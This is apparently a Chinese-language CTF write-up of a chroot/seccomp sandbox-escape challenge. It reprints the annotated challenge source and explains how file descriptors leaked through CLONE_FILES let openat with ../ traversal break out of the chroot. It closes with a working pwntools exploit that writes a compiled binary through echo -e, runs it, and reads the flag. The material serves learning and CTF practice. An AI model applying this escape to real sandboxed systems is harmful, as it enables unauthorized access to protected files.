題目分析
附件為一個源碼, 其中注釋我都寫好了, 主要就講關鍵的知識點.
#define _GNU_SOURCE#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <openssl/md5.h>
#include <sys/resource.h>int main(int argc, char **argv)
{MD5_CTX ctx;char md5_res[17]="";char key[100]="";char sandbox_dir[100]="/home/ctf/sandbox/";char dir_name[100]="/home/ctf/sandbox/";char buf[0x11111] ,ch;FILE *pp;int i;int pid, fd;setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);/*struct rlimit 結構體定義了一個資源限制。它包含兩個字段:rlim_cur: 當前資源限制。rlim_max: 最大資源限制。struct rlimit {__kernel_ulong_t rlim_cur;__kernel_ulong_t rlim_max;};*/struct rlimit r;// 設置進程的核心文件大小限制為 0// 這意味著進程在發生段錯誤時不會生成核心 core 文件r.rlim_max = r.rlim_cur = 0;setrlimit(RLIMIT_CORE, &r);memset(key, 0, sizeof(key));printf("input your key:\n");read(0, key, 20);// 對 key 進行 md5, 結果保存在 md5_res 中MD5_Init(&ctx);MD5_Update(&ctx, key, strlen(key));MD5_Final(md5_res, &ctx);for(int i = 0; i < 16; i++) sprintf(&(dir_name[i*2 + 18]), "%02hhx", md5_res[i]&0xff);printf("dir : %s\n", dir_name);printf("So, what's your command, sir?\n");for (i=0;i<0x11100;i++){read(0, &ch, 1);if (ch=='\n' || ch==EOF){break;}buf[i] = ch;}// 創建一個進程pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);if (pid) {if (open(sandbox_dir, O_RDONLY) == -1){perror("fail to open sandbox dir");exit(1);}if (open(dir_name, O_RDONLY) != -1){printf("Entering your dir\n");if (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}}else{ // dir_name 不存在的話則進行創建并配置相關信息printf("Creating your dir\n");// 創建一個目錄mkdir(dir_name, 0755);printf("Entering your dir\n");// 進入 dir_name 目錄if (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}// 創建相關文件夾mkdir("bin", 0777);mkdir("lib", 0777);mkdir("lib64", 0777);mkdir("lib/x86_64-linux-gnu", 0777);// 復制相關文件到當前工作目錄下的文件夾中system("cp /bin/bash bin/sh");system("cp /bin/chmod bin/");system("cp /usr/bin/tee bin/");system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");system("cp /lib64/ld-linux-x86-64.so.2 lib64/");}char uidmap[] = "0 1000 1", filename[30];char pid_string[7];sprintf(pid_string, "%d", pid);// filename 為 /proc/pid/uid_map// 文件包含了當前進程的 UID 映射信息// 格式為: <inside-uid> <outside-uid> <count>// <inside-uid> 是進程內部的 UID// <outside-uid> 是進程外部的 UID// <count> 是映射的 UID 的數量sprintf(filename, "/proc/%s/uid_map", pid_string);fd = open(filename, O_WRONLY|O_CREAT);// 寫入 0 1000 1// 表示進程內部的 UID 0 映射到進程外部的 UID 1000// 這意味著進程在容器內部的 UID 為 0,但在容器外部的 UID 為 1000if (write(fd, uidmap, sizeof(uidmap)) == -1){printf("write to uid_map Error!\n");printf("errno=%d\n",errno);}exit(0);}sleep(1);// entering sandboxif (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}// 更改當前目錄為該進程的根目錄if (chroot(".") == -1){puts("chroot err, exiting\n");exit(1);}// set seccomp// 設置沙箱, 殺了 mkdir, link, symlink, unshare, prctl, chroot, seccomp 系統調用scmp_filter_ctx sec_ctx;sec_ctx = seccomp_init(SCMP_ACT_ALLOW);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(mkdir), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(link), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(symlink), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(unshare), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(prctl), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(chroot), 0);seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(seccomp), 0);seccomp_load(sec_ctx);// 執行命令, 管道只能寫pp = popen(buf, "w");if (pp == NULL)exit(0);pclose(pp);return 0;
}
總的來說功能就是用戶輸入一個 key, 然后對其進行 md5, 用此作為路徑名設置沙箱, 在沙箱中可以執行一條 shell 命令.
漏洞分析
?漏洞主要在下面這句代碼.
pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);
可以看到其設置了 CLONE_FILES 標志, 這表示父子進程共享文件打開表. 而題目在父進程中打開了以下三個文件并且沒有關閉:( 這里目錄統稱為文件
1)?/home/ctf/sandbox/
2)?/home/ctf/sandbox/md5(key)
3) /proc/pid/uid_map
其對應的文件描述符依次為3, 4, 5. 所以可以利用 openat 函數進行逃逸:
#include <fcntl.h>
int openat(int dirfd, const char *pathname, int flags, ...);
dirfd
?是要打開文件的目錄的文件描述符。pathname
?是要打開的文件的路徑名。flags
?是打開文件的標志。
?所以這里如果我們設置 dirfd 為 3, 然后 pathname 使用 ../../ 進行目錄穿越即可完成逃逸
這里有個 demo:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/resource.h>int main(int argc, char** argv, char** envp)
{FILE* pp;int pid;pid = syscall(__NR_clone, CLONE_FILES|CLONE_NEWNS|CLONE_NEWPID|CLONE_NEWUSER|CLONE_NEWUTS|CLONE_NEWNET, 0, 0, 0, 0);if (pid){open("/tmp", O_RDONLY);printf("1 Pid: %d\n", getpid());printf("2 Child Pid: %d\n", pid);sleep(30);exit(0);}sleep(1);printf("3 Child pid: %d\n", getpid());pp = popen("echo '4 Pid: '$$;sleep 100", "w");if (!pp) exit(0);pclose(pp);return 0;
}
可以看到4個進程中都存在 3 這個文件描述符并且指向同一位置?
漏洞利用
在漏洞分析階段, 我們已經提出了利用方式, 即通過 openat 配合父進程"遺留"的文件描述符實現逃逸.
但是這里就存在一個問題了, 在題目分析中已經說了, 最后我們只能通過 popen 去執行一個 shell 命令. 而原則上題目只給了 bash, chmod, tee 三個 shell 命令. 而我們最后是要利用 openat 打開 flag文件進行讀取輸出, 所以我們像 kernel pwn 那樣上傳一個 exp 然后執行. 那么如何將 exp 寫入文件呢? 在 kernel pwn 中我們都是通過 echo 來完成的. 這里有 echo 嗎? 答案是有的, 別忘了內建命令.
看看 gpt 的回答:?
- 可用性不同:內建命令在所有 Linux 系統上都可用,而非內建命令則需要安裝相應的軟件包才能使用。
而我們可以通過 type 去簡單判斷一下是否是內建命令. 比如:
本地復現
修改代碼為如下代碼: 注: 這里僅僅為了本地復現而已, 所以把 seccomp 給刪了:(因為我虛擬機沒下
#define _GNU_SOURCE#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/stat.h>int main(int argc, char **argv)
{char sandbox_dir[100]="/home/xiaozaya/rubbish/fx/sandbox/";char dir_name[100]="/home/xiaozaya/rubbish/fx/sandbox/511721";char buf[0x11111] ,ch;FILE *pp;int i;int pid, fd;setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);struct rlimit r;r.rlim_max = r.rlim_cur = 0;setrlimit(RLIMIT_CORE, &r);printf("dir : %s\n", dir_name);printf("So, what's your command, sir?\n");for (i=0;i<0x11100;i++){read(0, &ch, 1);if (ch=='\n' || ch==EOF){break;}buf[i] = ch;}pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);if (pid) {if (open(sandbox_dir, O_RDONLY) == -1){perror("fail to open sandbox dir");exit(1);}if (open(dir_name, O_RDONLY) != -1){printf("Entering your dir\n");if (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}}else{printf("Creating your dir\n");mkdir(dir_name, 0755);printf("Entering your dir\n");if (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}mkdir("bin", 0777);mkdir("lib", 0777);mkdir("lib64", 0777);mkdir("lib/x86_64-linux-gnu", 0777);system("cp /bin/bash bin/sh");system("cp /bin/chmod bin/");system("cp /usr/bin/tee bin/");system("cp /lib/x86_64-linux-gnu/libtinfo.so.6 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");system("cp /lib64/ld-linux-x86-64.so.2 lib64/");}char uidmap[] = "0 1000 1", filename[30];char pid_string[7];sprintf(pid_string, "%d", pid);sprintf(filename, "/proc/%s/uid_map", pid_string);fd = open(filename, O_WRONLY|O_CREAT);if (write(fd, uidmap, sizeof(uidmap)) == -1){printf("write to uid_map Error!\n");printf("errno=%d\n",errno);}exit(0);}sleep(1);// entering sandboxif (chdir(dir_name)==-1){puts("chdir err, exiting\n");exit(1);}if (chroot(".") == -1){puts("chroot err, exiting\n");exit(1);}pp = popen(buf, "w");if (pp == NULL)exit(0);pclose(pp);return 0;
}
exp 如下:
import os
from pwn import *
import codecsio = process("./pwn")code = '''
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
int main(){char buf[20]={0};int fd = openat(4, "../flag", 0);read(fd, buf, 100);write(1, buf, 0x20);printf("Good !\\n");
}
'''a = open('exp.c','w')
a.write(code)
a.close()
os.system("gcc exp.c -o exp")
b = open("./exp", "rb").read()
b = codecs.encode(b, "hex").decode()
c = ""
for i in range(0,len(b),2):c += '\\x'+b[i]+b[i+1]
payload = 'echo -e "'+c+'"'+'> exp;chmod +x exp; ./exp'
print("[+] length: " + hex(len(payload)))io.recv()
io.sendline(payload)
io.recv()
io.interactive()
?效果如下: